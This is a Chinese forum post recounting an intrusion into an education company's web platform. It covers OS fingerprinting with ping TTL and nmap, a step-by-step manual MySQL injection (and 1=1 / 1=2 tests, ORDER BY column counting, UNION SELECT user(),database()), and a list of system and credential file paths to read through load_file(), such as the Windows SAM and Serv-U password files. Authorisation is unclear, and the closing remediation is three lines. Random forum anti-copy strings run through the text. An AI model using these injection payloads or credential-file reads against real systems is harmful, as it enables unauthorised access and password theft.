找回密码
 立即注册
查看: 3180|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:" U3 T/ G. ]! M# B" ?2 X
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……# O" A3 ?5 z# ^; E
第一步:获取需要的信息
4 ~) H, [9 P1 m2 v/ {/ C8 N1 N, f( g由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
1 H2 I2 b0 B* p注:以下为保护特用XXX代替敏感信息
5 _( ?5 b5 E2 C! s- W顺手先PING了一下他们的域名:; J% G9 A/ v. g% A5 j
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)% s3 J1 `! b" J
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms- X% J3 E, ?* ^4 K! f
顺便了解一下TTL,学好基础知识才能一路顺风:
/ H9 S) F2 m/ z/ OTTL:(Time To Live ) 生存时间  p+ |) z; f$ q! f3 f
指定数据包被路由器丢弃之前允许通过的网段数量。
3 Q  o( P8 E1 W% NTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。& x! o) ~7 H$ M" g: G
使用PING时涉及到的 ICMP 报文类型
- M3 D0 z5 B2 C( q+ d9 h一个为ICMP请求回显(ICMP Echo Request)
! f  o/ h. C! M一个为ICMP回显应答(ICMP Echo Reply)
4 \/ k3 N2 g9 A! t1 C( |* aTTL 字段值可以帮助我们识别操作系统类型。( b$ m1 Z3 h9 L+ J1 b% r
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
6 t9 i+ h9 ]2 g& h% {- U% o( |" RCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
4 G, r' F0 ?1 p( y3 E' E  d9 |微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1280 W  M5 F3 w; K2 H! Z
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
6 _" c/ w& w1 A! Q* J4 P当然,返回的TTL值是相同的
4 s) `$ K1 S0 d! K8 n) `但有些情况下有所特殊
  q6 w7 D3 y! g$ ~2 N: V% DLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
: P1 p+ ~) L. U# T7 l- HFreeBSD 4.1, 4.0, 3.4;
" x, K0 q) ~6 v$ }5 k: z3 ~6 lSun Solaris 2.5.1, 2.6, 2.7, 2.8;- x7 |+ S: |2 o/ r! [
OpenBSD 2.6, 2.7,
) D% c- L$ S5 ]# n# k9 S$ ?NetBSD
# M$ X& v- s) VHP UX 10.20
, s; ~' ]" Z! R% GICMP 回显应答的 TTL 字段值为 255
9 [) E) q# \. A7 \; U9 mWindows 95/98/98SE
  S& F/ [: B7 U; L" ZWindows ME8 W1 \& u; e" W! z. {
ICMP 回显应答的 TTL 字段值为 32
' `- ]( v( \/ }) AWindows NT4 WRKS# y1 u: C5 a" O5 y2 s
Windows NT4 Server* W3 {# `, M, p
Windows 2000' R$ B  ?; G  U) E
Windows XP# `" b. g' [# t2 y
ICMP 回显应答的 TTL 字段值为 128
; M8 p6 l. [6 H! c* q3 f6 V这样,我们就可以通过这种方法来辨别操作系统
; Z! P6 z& v% q9 TTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
% i* I$ \4 |- c6 S$ j( Y& P& N用NMAP扫描一下:: _$ q' A' G/ l
nmap -sT -O XXX.XXX.XXX.XXX6 h- P9 k% `) G0 \: g" f
如果没有装WinPcap则会弹出提示:
: v# h% h  _9 YWARNING: Could not import all necessary WinPcap functions.  You may need to upgr  O5 N$ L# a' g9 I; b9 {
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(& T0 e4 g( y% H; [& ]  d2 V3 R
) mode — Nmap may not function completely( f6 Q! Z7 F, H4 m
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
$ Z! B& U& }  b) I3 n! A2 land iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
4 e+ [1 C( |2 @0 K, S9 Opcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an3 U$ N/ @* ], Q6 ^4 {* h3 C% @
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
9 `* L+ T- m; |- |ersions, you may be able to take iphlpapi.dll from another system and place it i* [! k6 T/ \. _# h5 ]
n your system32 dir (e.g. c:\windows\system32).' C% S% }9 c. u" ]
QUITTING!
2 y" d+ w5 i: ?% w) Y2 _0 i7 }) G4 _到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
: F& {1 J& U3 `& L安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:4 z, f3 i& z( V% x: ~
Interesting ports on XXX.XXX.XXX.XXX:
& u! N/ s! o$ Q% X" VNot shown: 986 closed ports
# ^, O6 F9 ]% ~. K6 o0 ]PORT     STATE    SERVICE3 E! g0 L) k8 f. `. o: @5 u* u5 g  }
21/tcp   open     ftp
6 z& C" d3 @9 F: r, S0 Y22/tcp   open     ssh# k. ]; }/ r- @/ v2 Q  r
23/tcp   open     telnet0 E0 b1 K- B/ }% \4 n9 M7 z
80/tcp   open     http
  M2 u. j; U+ U' U111/tcp  open     rpcbind
3 |; d, l! H5 m, ]3 Q/ ^135/tcp  filtered msrpc) E1 A. E$ c2 r1 C+ U' I8 f
139/tcp  filtered netbios-ssn
0 b0 H2 `) x4 z1 }# a: D0 y445/tcp  filtered microsoft-ds
! j5 l' p9 T* {' C! I513/tcp  open     login  Z# K5 z4 Z. o: k: q; O$ B& l
514/tcp  open     shell  {) }8 `5 ]3 }& ?
593/tcp  filtered http-rpc-epmap
. f& b9 g2 N  }0 w' k1720/tcp filtered H.323/Q.9318 j7 ?1 \% R" ^$ \# ]
3306/tcp open     mysql
% ]# ?/ b, L. R: C. w4444/tcp filtered krb524
2 m* I8 H+ }$ J: f" i( [0 Z" L6 _Device type: WAP
& w, l/ Y2 u  h# T% h/ a8 J0 p3 ZRunning: Linux 2.4.X
9 d. j. y/ d1 O8 P6 i$ wOS details: DD-WRT (Linux 2.4.35s)
: A) T  g/ {' P* f" SNetwork Distance: 13 hops
' ]9 c* ~6 E- C0 I8 |7 W2 i/ B. {看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
, k7 `9 r# o  g0 H' P5 m( Dlogin as:
* U3 k3 d" H! T( }1 k" B* GTelnet23端口也是开着的,用telnet 命令链接一下:
/ Z* T: |" M( {- Atelnet XXX.XXX.XXX.XXX9 M: e* \7 l" e; P  ]) s, O) Z
提示:; w' C/ k% C! L" }4 L
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
0 `7 N5 S$ J4 U' B: u+ t# O4 BKernel 2.6.18-92.el5PAE on an i686
  j! z2 R/ V' p1 Z# z& tlogin:* @3 q3 L. i5 p$ Y5 S% Y
获取HTTP头信息:
4 [: t  w! e+ Z1 h; K, c在本地执行如下PHP代码
  l, U" U/ g6 B: D9 Y<?php
* e8 ?: c9 W& F2 v( ?) @0 F9 h" K$url = ‘XXX.XXX.XXX.XXX’;
* w( X) }' }# L4 M! ^( ^8 m5 }print_r(get_headers($url));
2 @" }, P# w+ X" Rprint_r(get_headers($url, 1));
8 m$ X& a2 I3 A4 t?>
& A4 |7 y8 M, J6 t% X8 `将以上代码保存为PHP文件,执行:5 P$ I7 ^# ?- z$ q9 O* k
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )% H# u; V  w+ f1 X! p( Q( E$ X% R) `% L
现在可以得出结论:
# S/ ^) D! K* n$ I$ Z# l. c7 X系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
( O# x2 T( W- v( `, S* l' K5 ^内核版本:Kernel 2.6.18-92.el5PAE on an i6862 O* B8 q% }+ K( C9 j' M
WEB服务器版本:nginx/0.7.61
2 `6 ~) }+ V- O- M第二步,开始测试寻找漏洞4 g. ~8 s) Q( ^1 `: o& x3 P
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
- \5 E$ K, X: H, _* t3 [. i6 }1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
0 C7 Y8 W' r1 L/ S, c2、测试方法:在地址后加 and 1=1 和 and 1=2 测试4 {* O& \/ N& {# h  v
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
8 `, c- m, ^  ]! q" mhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
6 C9 P0 P+ Y; U恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续' Z/ U$ J. K  d" h+ `4 \' r8 ^
3、手工注入:4 `# N! g. q0 t2 w
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。, f+ t+ p3 a0 d) _/ B+ C. e
3.1 猜测当前表字段数8 G+ E$ F: A+ C8 Y% z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
: m# O0 O8 r3 L$ B7 }/ M- `此处猜测有个简单的算法,都是有技巧的吗,呵呵* D9 V9 X' y3 L( m8 i
算法简单如下:, y! ]. N( i8 Z/ K& R7 O0 V8 ]
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;' X  \" X3 |6 W
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;" K; g$ c+ i% n' }
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。/ j" E! w+ O* h9 X; }
以此来判断,是否过界,配合取中算法猜出字段数。
& D7 m, [3 N  c( f: P5 l举例:# {# Z4 p; d2 J* F/ x' |
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常5 y6 h: j: r3 P- x* @0 r- Z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误; B6 u3 F0 e* S- m8 ~% V
此时3则为我们要找的字段数。
, r; h/ V' P9 }' X5 b3.2 配合union联合查询字段在页面所位置
( I& h5 i$ P# \0 K+ o我们已经知道了字段数为3,此时则可以做如下操作:6 K4 u8 G. S) K3 ^
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3# F6 V3 B' [6 x

( Z$ v6 Y& j8 v这样就可以测试到哪些字段在页面上有所显示了,如图:
% _$ M! I, M+ @5 O3 ~
* f, Y/ T2 w( m, B  N3.3 查敏感信息
& U& M! r9 u. E+ j这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。' z2 c; n, |9 C9 D" H# p
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()% [# b9 T- m8 y, r& @* o
3.3.1 先查数据库用户、数据库名,以备后用,如图:
" N- J* h6 R; c/ Y$ e2 ]1 w/ q. @+ t
得到数据库用户为root、数据库名为DBxx;
0 T* \% v! M. w- ~, B3.3.2 查配置文件
8 s8 V/ F# U3 J7 t: _查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。6 ]2 `, r8 y7 n
查看文件有一定的条件限制:+ D- h% h* f7 j
欲读取文件必须在服务器上# a- k4 ^" L. N# o/ w
必须指定文件完整的路径
% f9 i+ e% T/ L" U* f. [必须有权限读取并且文件必须完全可读
7 n' m5 {6 {5 F0 [+ y' `3 P6 C& b. M欲读取文件必须小于 max_allowed_packet' a  o8 Q$ Q  ^. r
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。# r4 q8 x' h3 p/ u2 {+ o; `/ K
常用的一些:# b4 @  J) d- Y, {4 z- Y
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件: P3 M/ E* |3 X: c  ^$ M
/usr/local/apache2/conf/httpd.conf
7 [: O7 [  f( H) [# u$ Y9 ]+ q9 u/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置$ D2 }% W% _( o5 z4 @
/usr/local/app/php5/lib/php.ini //PHP相关设置. L# o3 j  N1 n0 v2 z3 W+ ?0 H
/etc/sysconfig/iptables //从中得到防火墙规则策略  u8 ^# j3 t$ f& D. x
/etc/httpd/conf/httpd.conf // apache配置文件1 e' b) C$ t. u: N
/etc/rsyncd.conf //同步程序配置文件
! W2 X8 _$ x1 N# S5 k$ J; m6 n/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
0 T' k& G4 ~7 k# q- t* \/etc/my.cnf //mysql的配置文件
  ]: L& \7 q; z4 K) f* R/etc/redhat-release //系统版本
# G* F1 k# T, x7 W, Y/etc/issue6 Z, L) ], i! S* U% Q
/etc/issue.net
6 J1 V8 n& w$ \' v5 N1 Sc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码* z6 x9 i# J3 S) w+ b
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
+ ?4 z  X  S/ a* s1 Ec:\Program Files\Serv-U\ServUDaemon.ini
7 b$ i  @5 i5 `c:\windows\my.ini //MYSQL配置文件7 U* C4 K. \' p' o# z
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件% [$ `. `/ z& i, K) e
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,3 Y. }$ x' j' g) `( ?3 {$ t5 h* G/ D
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
) @7 N8 g; x7 K1 O! \% S8 i7 L7 Nc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: S  |9 r8 B* v3 D
c:\Program Files\RhinoSoft.com\ServUDaemon.exe+ k! n; ]; [" l
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件& i* Z8 b" f7 K" p9 a. |1 S% ~! u! J0 p
//存储了pcAnywhere的登陆密码) W/ M8 ^- Y$ M
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。3 V" X5 H6 K4 [% W
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
4 n* P0 v6 ^4 y4 l最后:防范措施8 F3 }7 h# }' m/ J) w
1、修复PHP注入漏洞;) H3 e8 I9 w3 v3 y- w
2、Mysql使用普通权限的用户;. x4 v0 J2 Y1 J" w- \
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表